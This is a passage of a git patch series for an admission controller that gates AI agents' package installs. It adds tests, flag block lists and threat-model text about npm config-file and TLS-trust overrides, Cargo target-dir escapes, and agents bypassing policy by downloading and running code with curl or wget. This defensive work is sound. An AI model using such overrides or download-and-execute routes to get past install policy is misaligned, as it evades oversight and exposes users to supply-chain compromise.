workspa pnpm contributors. (2026). *CLI dispatch: configuration resolution from the selected directory* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/dispatch.rs +pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs + +pnpm contributors. (2026). *CLI startup and dotted configuration extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs + Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html Rust Project Developers. (2026). *Configuration: The Cargo Book.* https://doc.rust-lang.org/cargo/reference/config.html From 25be946da948e0307ed94e214e5cf7de073d89cc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:32:28 +0900 Subject: [PATCH 107/702] test(admission): reject npm config-file trust overrides --- .../tests/npm_config_override_contract.rs | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/npm_config_override_contract.rs diff --git a/crates/agent-artifact-admission/tests/npm_config_override_contract.rs b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs new file mode 100644 index 00000000..55a7eb74 --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs @@ -0,0 +1,82 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn npm_config_file_overrides_cannot_inject_unreviewed_install_authority() { + for config_argument in [ + "--userconfig=/tmp/unreviewed.npmrc", + "--globalconfig=/tmp/unreviewed.npmrc", + ] { + let (policy, intent) = npm_case(config_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{config_argument} must not inject caller-selected npm configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{config_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn npm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.3".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-npm-config-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + config_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From c63f27bc0493e92317748ec63c1482cbaab66531 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:33:36 +0900 Subject: [PATCH 108/702] fix(admission): block npm config-file trust overrides --- crates/agent-artifact-admission/src/policy.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 1ebfa0f5..07adc5f5 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -466,6 +466,8 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--find-links", "--registry", "--registry-url", + "--userconfig", + "--globalconfig", "--git", "--path", "-i", From 97399d5e2ac1eb68e3c17cb908768c3af4fbdf42 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:34:06 +0900 Subject: [PATCH 109/702] docs(changelog): record npm config-file admission hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c12f14b3..ef665285 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 7160f3889207dac29d0534380c4a3e42aaf24cbc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:35:00 +0900 Subject: [PATCH 110/702] docs(security): trace npm config-file authority boundary --- docs/security/agent-artifact-admission-threat-model.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 5d8cb3f2..fc472974 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -25,7 +25,7 @@ The credential file, policy/configuration file and audit file are local deployme | Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | -| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, or package-manager runtime-configuration channel so resolution semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, or package-manager runtime-configuration channel so resolution semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | @@ -42,7 +42,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -52,7 +52,7 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, npm caller-selected user/global configuration files, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters @@ -62,6 +62,7 @@ SHA-256 equality proves byte identity only when the execution path independently - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs From f9b04531d2a335640e88cc95461406f820aee910 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:38:19 +0900 Subject: [PATCH 111/702] test(admission): reject npm TLS trust overrides --- .../tests/npm_tls_trust_contract.rs | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs diff --git a/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs new file mode 100644 index 00000000..2bc439bb --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs @@ -0,0 +1,83 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn npm_tls_trust_overrides_cannot_change_registry_authentication() { + for trust_argument in [ + "--cafile=/tmp/unreviewed-ca.pem", + "--ca=unreviewed-ca-material", + "--strict-ssl=false", + ] { + let (policy, intent) = npm_case(trust_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{trust_argument} must not change npm registry TLS trust" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{trust_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn npm_case(trust_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.4".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-npm-tls-trust-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + trust_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 8be683a8c8ab6f7842870cc8ee0d7fdbd76726e2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:39:48 +0900 Subject: [PATCH 112/702] fix(admission): block npm TLS trust overrides --- crates/agent-artifact-admission/src/policy.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 07adc5f5..7f3ac6cb 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -468,6 +468,9 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--registry-url", "--userconfig", "--globalconfig", + "--ca", + "--cafile", + "--strict-ssl", "--git", "--path", "-i", From 8edd045dd48c94d6faedd05ee2c60dcc24604500 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:40:03 +0900 Subject: [PATCH 113/702] docs(changelog): record npm TLS trust hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ef665285..c35ac057 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 217108b31640afb1e9561f482c6d69a739de0595 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:40:34 +0900 Subject: [PATCH 114/702] docs(security): trace npm TLS trust authority boundary --- docs/security/agent-artifact-admission-threat-model.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index fc472974..4bf523e7 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -25,7 +25,7 @@ The credential file, policy/configuration file and audit file are local deployme | Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | -| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, or package-manager runtime-configuration channel so resolution semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | @@ -42,7 +42,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -52,7 +52,7 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, npm caller-selected user/global configuration files, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters From 609cbde6b2907f0ec27225152b7e15f57b2429eb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 08:07:17 +0900 Subject: [PATCH 115/702] test(admission): reject cargo target-dir escape --- .../tests/cargo_target_dir_escape_contract.rs | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs diff --git a/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs new file mode 100644 index 00000000..5fed9a49 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs @@ -0,0 +1,89 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_target_dir_cannot_escape_the_broker_selected_workspace() { + for target_dir_arguments in [ + vec!["--target-dir=/tmp/unreviewed-build-output"], + vec!["--target-dir", "/tmp/unreviewed-build-output"], + ] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend(target_dir_arguments.into_iter().map(str::to_string)); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "cargo --target-dir must not redirect build artifacts outside the broker-selected workspace" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "cargo --target-dir must produce the stable alternate_install_root reason" + ); + } +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-target-dir-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-target-dir".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} From 2545b7591c75b98266d239c1884a009211c21eca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 08:08:37 +0900 Subject: [PATCH 116/702] fix(admission): block Cargo target-dir escape --- crates/agent-artifact-admission/src/policy.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 7f3ac6cb..d653b81c 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -572,7 +572,7 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo "-p", ]) } - "cargo" => contains_flag(&["--root", "--config"]), + "cargo" => contains_flag(&["--root", "--config", "--target-dir"]), _ => false, } } From 02ede7e4c3e74a1f454c67fccbe96d04aa8c8753 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 11:10:31 +0900 Subject: [PATCH 117/702] test(admission): reject unreviewed Cargo build variants --- .../tests/cargo_build_variant_contract.rs | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs diff --git a/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs new file mode 100644 index 00000000..16fc047c --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs @@ -0,0 +1,99 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = + 